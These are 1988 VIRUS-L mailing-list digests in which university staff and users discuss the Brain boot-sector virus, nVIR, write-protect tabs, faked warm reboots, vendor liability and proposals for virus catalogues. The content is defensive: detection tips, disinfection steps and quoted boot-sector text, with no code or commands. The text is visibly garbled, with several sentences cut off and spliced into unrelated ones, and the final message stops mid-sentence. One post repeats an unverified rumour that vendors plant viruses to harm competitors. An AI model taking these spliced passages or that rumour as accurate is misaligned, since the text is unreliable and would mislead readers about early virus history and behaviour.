Jon Baker           JEB107 at PSUVM.Bitnet
                              Psuvm.Psu.Edu

Disclamer : I would do it myself, but I am not the most knowledgable
person in terms of viruses.  I would most certainly make a mess of
it....

[Ed. The closest existing thing (that I know of) to what you propose
is the Dirty Dozen list.  I don't know how up to date that is, though,
as I don't have a recent copy.  Any volunteers to send me that and/or
other such lists so that I can post them on the LISTSERV?]

------------------------------

Date:        16 December 88, 16:46:22 +0100 (MEZ)
From:        Otto Stolz         [phone]     RZOTTO   at DKNKURZ1
Subject:     Common sense re: software suppliers

> CHRISTMA EXEC *did* come from a trustworthy supplier!

I did not say "don't run programs you haven't got from a trustworthy
supplier", I rather said "programs you have *ordered* from a
trustworthy supplier".  As CHRISTMA EXEC has shown, extreme care is
approprate for programs you are supplied with for no obvious reason.

> Even shrink-wrapped software from a multi-million dollar corporation
> cannot be considered as coming from a trustworthy supplier

You are right insofar that even they are not infallable.  However, you
can be sure that they will undertake every possible attempt to
minimize impact on their customers (they will suffer great losses if
they won't succeed).  At least you know whom to sue for lost property
:-)

> If you mean not to run any program you can't read and understand *even*
> if from a trustworthy supplier, then you've just killed the n many cases.  That's the reason, computer-users & media are so upset
about viruses & other malicious software (I mean software doing real
harm, e.g.  anihilating programs or valuable data -- not just
spreading and saying "You've got a Virus", every April fool's day):
This kind of malice shakes our society to its very foundations; it
resembles offering toxic or rotten food in a restaurant, or loosening
bolts at the steering assembly of other people's cars.  However, a
certain amount of caution can be expected from the customer's side:
you probably would not go out to a dirty restaurant, and you would ask
everybody (even your friends) what they were doing under your car, if
you catched them working there and hadn't asked them for help.  My
recent note meant to establish this sort of common sense for receiving
and running programs, now we all have heared of possible virus
carriers.

> Sometimes even the people writing the software do not understand all of
> it.

Then, t have to live with incompetence in every trade :-)

Nevertheless, best wishes to everybody
                                       Otto

------------------------------

Date:         Fri, 16 Dec 88 10:50 EST
From:         Don Kazem <[e-mail]>
Subject:      Brain Virus at Yale (PC)

          In reference to the message from Naama Zahavi-Ely about the
          Brain Virus, it seems that this is a different version of
          the Brain virus than the one I have seen.  Since last summer
          we have been studying the virus issue and trying to come up
          with countermeasures to protect our evironment.

          Few Months ago I did obtain a disk that had been
          contaminated with the Brain Virus, and used Norton Utilities
          to look at the whole disk; sector by sector.

          The message that was embeded in that disk was similar to the
          one that Naama had mentioned, but not execatly the same.

          I found that same machine and performed a warm boot, the new
          disk also became infected. Nothing short of turning the
          machine off and then back on was safe enough.

          Don Kazem-Zadeh
          National Academy of Sciences
          [e-mail]

------------------------------

Date:         Fri, 16 Dec 88 11:44:14 EST
From:         Naama Zahavi-Ely <[e-mail]>
Subject:      Re: Brain virus at Yale (PC)

Hello Virus-l folk,

The following is a note I sent to user support personnel at Yale
following the discovery of a few diskettes infected with the Brain
virus, all belonging to one user.  I would appreciate any comment, and
especially any correction!  Feel free to plagiarize, anybody who has
the need -- just make sure you check for corrections in the next few
issues of VIRUS-L.  I do not claim any extensive knowledge of viruses!

Thanks,
Naama
- -------
Hello everybody!

Three days ago we discovered at Yale several diskettes infoes not infect network drives.

How can you tell that a diskette is infected:

1) Boot the computer from a clean DOS diskette or from a hard disk (this is
   important!).
2) Use the Norton Utilities, or some other software that lets you look at disk
   sectors (like DWALK from PCSOFT), and look at the boot sector.  If the disk
   is infected, you'll see the following text:

Welcome to the Dungeon (c) 1986 Brain & Amjads (pvt) Ltd VIRUS_SHOE
RECORD v9.0 Dedicated to the dynamic memories of millions of virus who
are no longer with us today - Thank GOODNESS!!  BEWARE OF THE er VIRUS
: \this program is catching program follows after these messeges

Note: if you boot from an infected diskette and thus have an infected
system, any attemp to read the boot sector seems to be diverted and
display the correct boot sector (which is kept elsewhere on the
diskette in a sector marked as bad), and you would not be able to see
the above text!  So make sure you boot from a clean systte,
with 0 bytes, and each of the infected diskettes has 3072 bytes in
"bad" sectors.

For all we know, the user may have had infected diskettes for a long
time - we discovered the infection while trying to solve an unrelated
WordPerfect problem.  Luckily all our public diskettes are
write-protected.

How to get rid of the virus:

1) Cold-boot the computer from a clean DOS disk with a write-protect tab.
2) Format a new diskette.
3) Copy the files from the infected diskette to the new diskette.  Do NOT use
   the DISKCOPY command -- use COPY *.* (this virus is a boot sector virus and
   will not get copied).
4) Cold-boot the computer again from the clean DOS disk.
5) Re-format the infected diskette.  It should now be safe for use.

This virus is a boot-sector virus -- meaning that it infects a
computer's memory (for the session) only if the computer is booted
from an infected diskette.  Otherwise, even if the diskettes are
infected, the computer is not and the viruy booting from an infected
diskette), then ANY disk activity with a 5.25" diskette will infect
the diskette -- even a simple DIR command.  If your DIR commands
suddenly start taking longer than usual, check your system. Of course,
the virus cannot write past a write-protect tab, so if you use them
you are safe even on other people's systems.

I do NOT think this warrants VIRUS ALARM notices all over the place --
students have other things to worry about this time of the year!  The
worst that can happen is that some diskettes will get infected, and
this would mean only that 6 sectors on the diskette would get
overwritten and marked as bad.  Even this can easily be avoided with
minimal safe computing habits: always boot from your own
write-protected diskette, and do not share diskettes promiscuously.
If you lend a diskette to somebody else (to copy a file, etc), put a
write-protect tab on it.  This is all there is to it!

Please let me know of any sightings, and I'll be [e-mail]>
Subject: What does the Brain virus do? (PC)

A student recently brought in a disk contaminated with the Brain
virus.  I confiscated the disk, and gave her a clean one in exchange.
I'm hoping that this was an isolated incident, but just in case it
wasn't, I'd like to know what the Brain virus does.

Thanks in advance.

====================================================================
Bob Hudack
Microcomputer Services Group
Computing Facility
University of California, Irvine       [e-mail]

------------------------------

Resent-From:  Naama Zahavi-Ely <[e-mail]>
Subject:      Brain at U of Vermont (PC) -- forwarded msg from LIAISON list
Date:         Fri, 16 Dec 88 11:33:44 EST
From:         Anne Chetham-Strode <ACS@UVMVM>

Forwarded from the LISTSERV group, Network Sites Liaison
(LIAISON@MARIST):

We have discovered the Pakistani BRAIN virus on 5 1/4" disks in our
public microcomputer labs.  The most recent versions ofhis particular strain.

We would like to disassemble the virus and write our own software to
sanitize disks.  I would appreciate suggestions from readers about
about which disassembler to use and where to get it.  Also, I would
appreciate hearing from readers who have experience disassembling
viruses.  Please respond to me directly, ACS at UVMVM on BITNET.

Thank you,
Anne Chetham-Strode
Microcomputer Systems Analyst
University Computing Services
University of Vermont
Burlington, VT 05405

------------------------------

Date:         Fri, 16 Dec 88 13:37:52 EST
Sender:       Virus Alert List <[e-mail]>
From:         Ken van Wyk <[e-mail]>
Subject:      VIRUS WARNING: Brain virus at Univ. of Vermont (PC)

I just got another report of the Brain virus - this time at the
University of Vermont.  Will this thing never die?!  Here are the
details:


Date:         Fri, 16 Dec 88 11:35:15 EST
From:         Steve Cavrak <SJC@UVMVM.B
On December 13th, we discovered a copy of the Brain virus on a
diskette at the University of Vermont.  A quick survey of the
various labs at the University (using DEBUG or the Norton utilities)
revealed that the virus had spread to most laboratories --- we've just
finished the fall semester and lab use was at an all time high.

The brain strain found at UVM identifies itself with the following
message in sector 0:

/----------------------------------------------------------------------\

        Welcome to the Dungeon
 (c)  1986 Basit & Amjad (pvt) Ltd.             BRAIN COMPUTER SERVICES
.730 NIZAM BLOCK ALLAMA IQBAL TOWN               LABORE-PAKISTAN..PHONE
:430791,443248,280530.      Beware of this VIRUS......Contact us for
accination.......
                                     <u<end-file-marker> ....

\----------------------------------------------------------------------/


At this point, we've replaced all boot disks in the labs, trained
our consultant staff as well as other lab managers on disinfection
procedures, written a disinfection brochure, and are preparing a
mailing for all PC owners on campus.

We're currently reverse engineering the virus to get a better
handle on its behavior so that when students return in January
we can handle the onslaught.    (By the way, do you have a good
disassembler that you can recommend.)

A check of a batch of diskettes with the DEBRAIN program shows that
although the first 3 sectors of BRAIN match expectations, other
sections may be different.  Some of our users have MS-DOS 3.2 and
have found that the that DEBRAIN doesn't correctly recognize the
newer DOS messages.


NOTE:  Just as I post this, we've come across one disk with the
BRAIN message reading "Welcome to the fungeon."   Now wasn't that
clever of the little beast.

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 19 Dec 1988         Volume 1 : Issue 51

Today's Topics:
Trapdisk (PC)
Re: Write protected disk written, etc. (PC & general)
Debrain.C (PC)
low level format for PC/XT
Confusion about the Brain virus. (PC)
Brain Virus (PC)
How safe are write-protect tabs? (PC)
Common sense re: software suppliers

---------------------------------------------------------------------------

Date: Fri, 16 Dec 88 13:59:46 -0800
From: Steve Clancy <[e-mail]>
Subject: Trapdisk (PC)

I have used Trapdisk in the past and am very pleased with it.
Trapdisk is a newer version of something that used to be called BOMB.
I like it because it allows a command line, such as TRAPDISK WF as a
command to write protect your disk against a write or format.  I also
like being able to disable it at will (TRAPDISK U), but I do not like
that it remains memory resident.  There is also another very good
program called HDSENTRY.

I'm afraid that I cannot comment on how well either handle
sophisticated attempts to get around their protection.

- -- Steve

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|   Steve Clancy                      |  WELLSPRING RBBS            |
|   Biomedical Library                |  714-856-7996  24 HRS       |
|   P.O. Box 19556                    |  300-9600 N,8,1             |
|   University of California, Irvine  |  714-856-5087  nites/wkends |
|   Irvine, CA  92713                 |  300-1200 N,8,1             |
|                                     |                             |
|   SLCLANCY@UCI                      |  "Are we having fun yet?"   |
|   [e-mail]         |                             |
|                                     |                             |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

------------------------------

Date:         Fri, 16 Dec 88 21:25:07 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      Re: Write protected disk written, etc. (PC & general)

>          I found that if I booted a machine with an infected disk,
>          and then put a new clean boot disk WITH A WRITE PROTECT
>          TAB in the same machine and performed a warm boot, the new
>          disk also became infected. Nothing short of turning the
>          machine off and then back on was safe enough.

     How can a disk with a write tab on it become infected?

     As some of you know I run a small home company called ART MATRIX.
We produce and sell many items related to fractals like videos and
slide sets etc.  We also offer program disk on IBM 5" disks that have
nothing but fortran source code, no system, no nothing but ascii
files.  I presume these disks are ABSOLUTELY SAFE in ALL
CIRCUMSTANCES.

     We have for a long time been considering selling a MAC disk that
would introduce the user to fractals that was written in Forth and was
highly interactive and very much executable code.  With all this virus
stuff going around I have had to have second thoughts.

     For one, ART MATRIX is not a corporation and has no corporate veil
to hide behind in case of litigation.  We are a partnership and
and law suit could ruin me personally.

     From what I can see, there is no absolutely safe way to guarantee
that the disks I send out are virus free, and no safe way to prove
they WERE virus free if they should later become infected.

     Thus what on EARTH would motivate me to produce this disk
and risk my LIFE selling it to a world wide audience.  We have
many people clamoring for this disk, but now with the news
that fresh disks from reputable factories have viruses, I just
cant see my way to getting into the business.

     1.)  Who is legally liable for a virus if a new disk bought by a
customer has one?  How does one prove that one did one's best to
insure the disk was virus free?  Does it matter that one did one's
best or is it always the manufacturer's fault?

     2.)  Should I produce the disk?

     3.)  What is going to happen to the software industry as a whole?

------------------------------

Date:     Sat, 17 Dec 88 00:03 EDT
From:     Paul Coen <[e-mail]>
Subject:  Debrain.C (PC)

        I received a copy of debrain.c some time ago, and I finally
got around to attempting to compile it (Turbo C).  Basically, it
wouldn't compile, I was getting syntax errors (particularly on the \
character in the code).  I don't know C, so I'm having some trouble
figuring out what's wrong.  The version of Turbo C I got from our
software library is 1.0, could that have something to do with it?  Any
help would be appreciated.  Oh, and just to keep all of you
happy....this is for the IBM PC/XT/AT and compatables.  With the Brain
virus popping up right and left all of a sudden, I'd feel more
comfortable with a running copy of this around.
        Side note: We've got about a 1.1 to 1 computer to student
ratio here, and we've yet to get hit with any kind of a virus.  I'm
keeping my fingers crossed!

+----------------------------------------------------------------------------+
| Paul R. Coen    Student Operator, Drew University Academic Computer Center |
|   Bitnet: PCOEN@DRUNIVAC       U.S. Snail:  Drew University CM Box 392,    |
|           PCOEN@DREW                        Madison, NJ 07940              |
|   Disclaimer:  I represent my own reality.                                 |
+----------------------------------------------------------------------------+

------------------------------

Date:         Sat, 17 Dec 88 06:55:29 EST
From:         "Homer W. Smith" <[e-mail]>
Subject:      low level format for PC/XT

     Again I want to thank all who offered help on low level
formats of my PC/XT hard drive.

     Nearly everyone mentioned the debug  g=c800:5  but on my
machine this produces nothing.  How do I find the correct
starting address for my machine.  How do I find out what kind
of disk drive is in it?  By taking off the cover and looking
at it?

     There seems to be some confusion about what the format command
does.  Some say it erases only the FAT entries which as good as makes
the data on the disk unusable.  The manual seems to imply that the
data on the disk is actually erased.  If it is not erasing the data
why does it take so long?

     What real danger is there to doing just a format in terms
of leaving virus remanants behind?

------------------------------

Date:     Sat, 17 Dec 88 12:10 EST
From:     <[e-mail]>
Subject:  Confusion about the Brain virus. (PC)

This concerns the discussion about the Brain virus in the VIRUS-L digest.

>          I found that if I booted a machine with an infected disk,
>          and then put a new clean boot disk WITH A WRITE PROTECT
>          TAB in the same machine and performed a warm boot, the new
>          disk also became infected. Nothing short of turning the
>          machine off and then back on was safe enough.

When I found some of my 5.25" floppies infected with the Brain virus,
some folks at the labs and computing center told me that a
write-protected disk couldn't get infected because the
write-protection mechanism was "hardware controlled" and couldn't be
circumvented by any software. So I was confused when I read the lines
(above) because the information given to me by the lab operators is
wrong and it is possible to bypass "write-protection" using software.
Could some one please explain

1. Why a warm boot by itself is not enough to prevent the spread of
infection
2. How a write-protected boot disk could get infected during warm boot.

This could be very helpful to a lot of us (the PC user community at
Virginia Tech) who don't know too much about the operation of Viruses.
Thanks in advance.

- -Mathew Mathai
- ----------------------
Virginia Tech          |
Bitnet : mathai@vtcc1  |
- ----------------------

------------------------------

Date:         Sun, 18 Dec 88 12:45:46 EDT
From:         <[e-mail]>
Subject:      Brain Virus (PC)

Ok here is what I did. I formatted 7 brand new disks fresh out of the
box from a copy of DOS I know is clean and secure. I checked the 0,0
on the disk to be s ure BRAIN WAS NOT HIDING THERE.  I then unwrapped
the word processing program and follwed the instructions to in stall
the program onto the floppy disks.  I then checked the 7 disks and
found the BRAIN logo on 0,0 which is where it is know to hide, on all
of the disks.  So, perhaps you can tell me where else it could have
come from if not direct fr om the manufacturer's disks?

I will not publish the name of the manufacturer (because we know those
people in Utah can get testy sometimes) but I have answered all
private requests for the companies name.

[Ed. Fair enough...]

------------------------------

Date:         Sun, 18 Dec 88 15:07:42 EST
From:         Naama Zahavi-Ely <[e-mail]>
Subject:      How safe are write-protect tabs? (PC)

Hello!

A non-expert question: how secure are write-protect tabs against
viruses?  Are write-protect tabs based on hardware (ie the drive will
not write on a disk with a write-protect tab on, no matter what)?  Or
is it simply a matter of an error code, which might be disregarded by
a clever virus?  It is well known that file write-protection is easily
circumvented by viruses; it is also well-known that viruses can
prevent a write-protection error code from being displayed after
trying to write to a tab-write-protected diskette.  Can a virus
actually write to a tab-write-protected diskette?  There has been a
report recently on Virus-L of an infection of a write-protected
diskette -- unfortunatly without any details.  Since I, and I am sure
many others, used to regard write-protect tabs as completely secure
(as long as they are left on!), I would appreciate very much any
information to the contrary.

Thanks and have a good holiday period!

Naama


+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- +
|  Naama Zahavi-Ely                                                    |
|  Project ELI                           E-MAIL [e-mail]   |
|  Yale Computer Center                                                |
|  175 Whitney Ave                                                     |
|  New Haven, CT 06520                                                 |
|  [phone] ext. 341                                             |
+ -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- +

------------------------------

From: portal!cup.portal.com![e-mail]
Date: Sun, 18-Dec-88 12:49:30 PST
Subject: Common sense re: software suppliers

In article <16 December 88, 16:46:22> <RZOTTO at DKNKURZ1> Otto Stolz
writes:

>You are right insofar that even they are not infallable.  However, you
>can be sure that they will undertake every possible attempt to
>minimize impact on their customers (they will suffer great losses if
>they won't succeed).  At least you know whom to sue for lost property
>:-)

First, the number of commercial programs being distributed with
viruses (*known viruses* - they could have easily detected and
prevented them) is growing weekly.

Second, the license agreements of most or all software packages
prevent you from suing the distributor or author for lost property.

>This kind of malice shakes our society to its very foundations; it
>resembles offering toxic or rotten food in a restaurant, or loosening
>bolts at the steering assembly of other people's cars.

Both of the acts you mention have a very limited scope, and do not
affect more than a tiny fraction of the population.  I'd think a more
accurate comparison would be someone who creates an AIDS vaccine for
himself, then infects himself with AIDS and deliberately has sexual
contact with as many people as possible.

>However, a certain amount of caution can be expected from the customer's
>side: you probably would not go out to a dirty restaurant, and you would
>ask everybody (even your friends) what they were doing under your car, if
>you caught them working there and hadn't asked them for help.  My recent
>note meant to establish this sort of common sense for receiving and
>running programs, now we all have heard of possible virus carriers.

Even nice, clean people get AIDS.  The untrustworthy person has
intercourse with a slightly more trustworthy person, and that person
has intercourse with a slightly more trustworthy person, and so on.
Or a really trustworthy person suffers a single lapse of judgement.
Etc., etc.  And software 'condoms' are a lot harder to come by, given
the nature of computing devices.

>> Sometimes even the people writing the software do not understand all of
>> it.
>
>Then, they'd better attend a course in structured programming or give
>up programming, altogether.

I personally know of a software project that is in excess of ten
million lines of code.  I dare anyone to (within ten years) read and
understand in detail all of it.


Dan Hankins

------------------------------

End of VIRUS-L Digest
*********************

VIRUS-L Digest              Monday, 19 Dec 1988         Volume 1 : Issue 52

Today's Topics:
List of known viruses (PC & Mac)
MS-DOS and write protected diskettes
Re: Virus listings and the DIRTY DOZEN listings
Diskette write-protection (PC)
article in pc magazine
Write protect tab and warm boot inadequacy, etc. (PC & Mac)
Write protect tabs
how vicious is nVIR? (Mac)
my $0.02 on write protect tabs and reset keys (PC)

---------------------------------------------------------------------------

Date:      Mon, 19 Dec 88 08:42:39 LCL
From:      Bret Ingerman [{315} 443-1865] <[e-mail]>
Subject:   List of known viruses (PC & Mac)

   I just read someone else asking if there is a comprehensive list of
viruss for the PC and Mac.  I was the one who originally asked the
question and volunteered to compile such a list.  I have a copy of the
Dirty Dozen, but it is out of date (Feb. 1988, I believe).

   I received a lot of replies from people on the list who thought a
comprehensive file would be great.  I'm still willing to edit one
together.  What I need is for the "experts" to send me a note with the
name of the virus, what system it can be found on, what does it do,
how to check for it, and how to eradicate it.  It would also be nice
if you would let me know if I can include your name/userid so that
people with more involved questions can get in touch with you.  What
does everyone think?

        BRET INGERMAN   ACADEMIC COMPUTING SERVICES
              ______    SYRACUSE UNIVERSITY
             /      |         -------
            |       |   BITNET:    INGERMAN@SUVM
  _________/        |   NOISENET:  [phone]
  |         *       |   SNAILNET:  215 Machinery Hall
 /      SYRACUSE    |              Syracuse, NY 13244-1260 USA
|______________     |
               |_   |
                 |__|   Disclaimer:  (use your favorite)

------------------------------

Date:         Mon, 19 Dec 88 09:23:19 EST
From:         Joe Simpson <[e-mail]>
Subject:      MS-DOS and write protected diskettes

1.  Media susceptible to virus attack.
    Formatted MS-DOS diskettes with or without an operating system
    have a boot block.  Some viruses, including Brain, can subvert
    this boot block and use it as a vector for infection.  Some
    viruses also can survive a warm boot.  Thus it is quite possible
    for a disk containing only Fortran source code to be infected.
    This can happen while DOS as we know it is active, or after an
    attempt to warm boot the diskette on an infected computer.
2.  Write protect tabs and protection.
    This topic has come up before on this list.  If the write protect
    circuitry works at the hardware level to prevent energizing the
    write head you are protected.  If protection is the result of
    MS-DOS software sensing the tab and reacting accordingly, then
    the level of protection is substantially reduced.  I know of no
    manufacturer who publicly asserts that one or the other of these
    alternatives has been choosen.  Caveat Emptor.  On a more
    positive note, there is weak evidence that the origional IBM PC's
    used real hardware protection.  If anyone can authoritatively
    assert that brand X MS-DOS computers use one or the other forms
    of protection, it would be wonderful to have the information,
    with source citation, posted to this list.

------------------------------

Date:         Mon, 19 Dec 1988 09:37 EST
From:         J.D. Abolins
Subject:      Re: Virus listings and the DIRTY DOZEN listings

   The last DIRTY DOZEN listing I know of is the one from April 88-
version 8B. I have lost contact with Eric Newhouse since he left Los
Angeles and moved to Massachusettes. I have tried the new number
mentioned by the telephone company recording for the CREST BBS's
former number: no answer.So if anyone knows how to contact Eric
Newhouse and/or has a more recent version of the DIRTY DOZEN listing,
please let me know.

   I have been seeking to start up such a listing and am willing to
carry on with it or help anybody else with such a project. But I
should mention some special challenges that Eric and I saw coming up
with computer viruses-

* The biggest challenge is that viruses (the "classic definition"
  type, not the current popular designation), are carried WITHIN
  other- usually otherwise legitimate - files. The other types of
  "bogusware" (Trojans, worms, hacked or pirated software, etc.)
  are distinct files by themselves. Being distinct files, they are
  easier to spot and describe. Many have evident characteristics -
  display screens, texts, promised effects,etc. Viruses do not
  have these characteristics.

* So we need to develop a better cataloging system. I have read
  several of these proposals and still weighing them.

* Also, because the viruses tend to lack "surface characteristics"
  described above, a virus "dirty dozen" listing may not as helpful
  in prevention as in the detection and diagnosis of virus case.

* The reporting of viruses as compared to other forms of "bogusware"
  has been a "Swiss Chesse" - some substance and many holes. Samples
  of the offending programs are virtually impossible to obtain.
  Many victims of viruses are far more cautious in their comments than
  the victims of Trojans Horses. So in any listings one does, there
  will be a "fog factor" where the verification of facts is difficult.

  For the last point, a trusted "go-between" might be a great help.
Dr. Highland of COMPUTERS & SECURTIYmagazine has been one such
"go-between" in my experience. Dr. Fred Cohen and some others also
can fill such a function. The reason for this is that people like Eric
Newhouse, I or most of the people on this discussion list lack the
credentials to establish trust sufficient for virus victims, especially
in industry and governemnt, to share information. From the items that Dr
Highland has shared with me, I can see the editting that he must do to
maintain the contact he has. Furthermore there are things that I have
been told by him and others that have come with a request for
confidentiality. So anybody who does this type of info clearing
has to have discretion and accountability.

In parting, I'll leave a partial listing of the major virus
cases I have come across in the past year or so-

Hebrew University case (aka Israeli virus and, unfortunately, the
misnomer- the "PLO virus" which I mention only so that if readers
run across such reference, they will know it really is.)There are
several variants of this virus.

The Lehigh University case

The AMIGA SCA virus

The BRAIN and its variants - ASHER, ASHTAR, ISHTAR, etc.

TheMACMAG case

The SCORES virus

These are the ones that have gotten the most attention, but there are
other. Some bear resemblence to the cases mentioned. As I have listed
the virus case, I notice another problem in making a listing. The
designation of the virus types. Unlike Trojan Horses, most viruses
don't go under a common used filename. Often, the site of the first
reported incident is used. This can lead to another hinderence to
repoirting such cases. Many universities, companies, etc. do not desire
to have their names immortalized in the name of a virus. (This is
true for both computer and biological ones.) A more neutral form
of designating the viruses in any listings that I or others may do
would help to lessen this obstacle.

Thank you,

J. D. Abolins
301 N. Harrison Street, #197
princeton, NJ 08540    [phone]

------------------------------

Date: 19 December 1988, 10:05:33 EST
From: David M. Chess              CHESS    at YKTVMV
Subject: Diskette write-protection (PC)

'way, 'way back, before VIRUS-L was even a digest, we went around
on this several times, and it was generally agreed that on virtually
all IBM PC compatible diskette drives, write protection with the
little tabs is in fact in hardware, and that software can't write
on a properly-tabbed diskette.   If you have really seen a
write-protected diskette get infected, the possibilities are:

  - You were using a tab that doesn't work (for instance, some
    drives detect the tab optically, and some tabs are not
    opaque!),
  - The tab wasn't on right (dented, holed, etc),
  - The drive is broken, and write-protection isn't working,
  - The drive in question is a very non-standard one, with
    software write-protection (and you happened to pick up a
    virus that knows about that kind of drive!),
  - The infection actually happened at a time different from
    when you think it did (for instance, at least one version
    of the Brain diddles the system so that if you try to
    look at the boot sector while the virus is resident, you
    will be shown an uninfected boot sector, even though the
    real boot sector is in fact infected).

I think the whole list would be very interested if you could
duplicate the effect on correctly used, working, standard
hardware!

DC

------------------------------

Date:         Mon, 19 Dec 88 11:38:41 EDT
From:         Swifty LeBard <[e-mail]>
Subject:      article in pc magazine

    two issues back in pc magazine, john dvorak wrote an article
 pertaining to the issue of software manufacturers imbedding viruses
 in their applications.
    he stated that many companies are doing this to sort of 'do away
 with the competition'. the virus writes itself to the boot disk and
 when booted up searches for the competition. if found, it does some damage.
 (the following is a hypothetical example!)  i.e.
   ashton tate writes a bug to the boot disk and upon booting up and using
  foxbase, the bug does some mean things!

    i hope that software (as well as hardware) manufactureres do not
 continue implenting viruses to monopolize the market. heaven knows we small
  at users will have to program our own applications!
    swifty LeBard OO--=+

------------------------------

Date:         Mon, 19 Dec 88 11:52:11 EST
From:         "Christian J. Haller" <[e-mail]>
Subject:      Write protect tab and warm boot inadequacy, etc. (PC & Mac)

>>          I found that if I booted a machine with an infected disk,
>>          and then put a new clean boot disk WITH A WRITE PROTECT
>>          TAB in the same machine and performed a warm boot, the new
>>          disk also became infected. Nothing short of turning the
>>          machine off and then back on was safe enough.
>Could some one please explain
>
>1. Why a warm boot by itself is not enough to prevent the spread of
>infection

A virus or Trojan already present in memory (because it was run since
the last cold boot) can trap keystroke combinations like Control-Alt-
Delete and fake a warm boot by calling a similar BIOS routine that does
not clear active memory.  Power users would probably detect this from
noticing differences in timing and boot messages, but the potential is
there for deceit as long as the DRAM has power.  CMOS will be even more
vulnerable, because it will usually keep memory even when the machine
is powered off.  And unplugged.  Thanks to batteries.

>2. How a write-protected boot disk could get infected during warm boot.

An IBM PC can write to a write protected floppy via a low level BIOS
directive which bypasses DOS and directly addresses the diskette drive
controller hardware.  If the BIOS directive is absent from some versions
of DOS, it may still be possible to address the hardware below the BIOS
level.

(From a different poster:)
>     We have for a long time been considering selling a MAC disk that
>would introduce the user to fractals that was written in Forth and was
>highly interactive and very much executable code.  With all this virus
>stuff going around I have had to have second thoughts.

There is no known corresponding software bypass for Macs; i.e., a Mac
diskette is really hardware protected if its tab is slid to the corner
of the diskette.  So your Mac disks should be safer.

>     From what I can see, there is no absolutely safe way to guarantee
>that the disks I send out are virus free, and no safe way to prove
>they WERE virus free if they should later become infected.

From a purely technical perspective, I agree:  there is no absolutely
safe proof that your machines are not ALREADY infected with some very
subtle virus that might pass itself on undetected.  However, such a virus
would be very difficult to write if someone knowledgeable were looking
for it, and had access to the source code and compilers used to develop
the software intended for market.  Furthermore, there are ways to prove
that the files you write and intend to ship are identical to the files
the end user is reading, even after years of use.  The proof is
statistical, using polynomial checksums, for example; commercial products
will soon appear using this approach.

>     1.)  Who is legally liable for a virus if a new disk bought by a
>customer has one?  How does one prove that one did one's best to
>insure the disk was virus free?  Does it matter that one did one's
>best or is it always the manufacturer's fault?

I'm no lawyer, but I have read that you can never tell what a jury will do.

>     2.)  Should I produce the disk?

I would say yes, using reasonable caution.  If you are sued, through no
real fault of your own, any good lawyer should be able to whip up a
countersuit.  That's the way we're all going to get rich in 2007, by
sueing each other.  Kind of like a chain letter.

>     3.)  What is going to happen to the software industry as a whole?

It will survive, and here is your best legal protection.  If you use
common sense in your software distribution, look for evidence of known
viruses, compare files for unwanted modification, and provide checksum
info for recipients, you will be ahead of EVERYONE else in the software
industry and no one in her/his right mind would pick on you to sue.  If
you also provide source code and info about the compilers you used, you
will STAY ahead of everyone else in the industry for years to come, and
your users will take care of a lot of your R&D by suggesting improvements
(if you play your cards right, they will write, test, and document these
improvements for you in return for favorable mention in your newsletter).
Acknowledge-To: <CJH@CORNELLA>

------------------------------

Date:         Mon, 19 Dec 88 12:50:55 EST
From:         Jim Kenyon <[e-mail]>
Subject:      Write protect tabs

>From my old Apple ][+ days, and I know some IBM drives are the same,
not all drives look for a mechanical block over the write protect tab.
Many look for a block to a light beam....which means that if you are using
anything that is opaque or transparent, the beam will go right thru and
assume there's nothing there.  Always use totally opaque tabs or you may get
a nasty surprise.

Another thing that has gotten lost in the discussion is the early comments
on viruses coming from the manufacturer.  I've been hit with nVIR (MAC)
straight from the dealer....but from a commercial software package.  NOT
from "fresh disks from reputable factories".  It was put there by the
software vendor.  Go for it Homer!  Make sure you're clean and put a good
disclaimer on it.  They don't come from the factory with viruses.

Jim Kenyon                                    NetNorth [e-mail]
Dept. of Anaesthesia
Toronto General Hospital

------------------------------

Date:         Mon, 19 Dec 88 13:20:31 EST
From:         Michael Palmer <[e-mail]>
Subject:      how vicious is nVIR? (Mac)

   I find that one of my disks is infected by the nVIR virus. (My
thanks go to John Norstad of Stanford for a very informative posting
on the nVIR and Scores viruses - VIRUS-L, 15 Nov.) What can I expect
from nVIR - does it simply spread quietly or is it a 'timebomb' virus
that will eventually start doing damage to disks? How worried should I
be?
   A mystery: all that nVIR appears to do when I run an infected
application is remove itself from that application, without adding
itself to another appplication as far as I can tell - the nVIR
resources disappear and the application's own resources are all the
same size as before infection. A virus can't get very far by behaving
like that, so what am I missing?
   I would like to recommend the Vaccine program for the Mac (a
well-written INIT which alerts you to significant changes to
resources) - it's what first tipped me off.
   The dates of other old postings to VIRUS-L concerning nVIR would
also be very useful.

With thanks,

Mike Palmer

------------------------------

Date: Mon, 19 Dec 1988 15:17:33 EST
From: Ken van Wyk <[e-mail]>
Subject: my $0.02 on write protect tabs and reset keys (PC)

> Christian J. Haller writes (in this issue):
> A virus or Trojan already present in memory (because it was run since
> the last cold boot) can trap keystroke combinations like Control-Alt-
> Delete and fake a warm boot by calling a similar BIOS routine that does
> not clear active memory.
> ...
> but the potential is there for deceit as long as the DRAM has power.

On IBM PC compatibles, the Ctrl-Alt-Del sequence is a software driven
reset, therefore it is quite possible and feasible for a program to
trap the keyboard interrupt and fake a reboot (the Yale virus that
Chris Bracy showed me did this).  During an *actual* reboot, all
interrupt vectors, etc., are initialized; thus, a virus that is active
would become inactive if an actual reboot takes place.  The only way
(that I know of) that a virus could remain in memory would be to
simulate a boot process by loading the boot tracks, etc., while
remaining in "control" of its own interrupts and allocated memory.
Some machines do have hardware resets, however, which would prevent
this (a hardware reset forces the machine to perform a reboot as per a
power-up state).  The Zenith Z-100 (8088 based, MS-DOS 3.1, non-IBM PC
compatible), for example, has a hardware reset that cannot be trapped
by software.  In fact, most (all?)  machines used hardware reset
buttons until the IBM PC came along, and then in the interest of
compatability, other companies used software resets also...(10,000
lemmings can't be wrong!  :-)

> Christian J. Haller writes (in this issue):
> An IBM PC can write to a write protected floppy via a low level BIOS
> directive which bypasses DOS and directly addresses the diskette drive
> controller hardware.

Can anyone verify that a program can write to a properly
write-protected disk?  I just wrote a short MASM program that
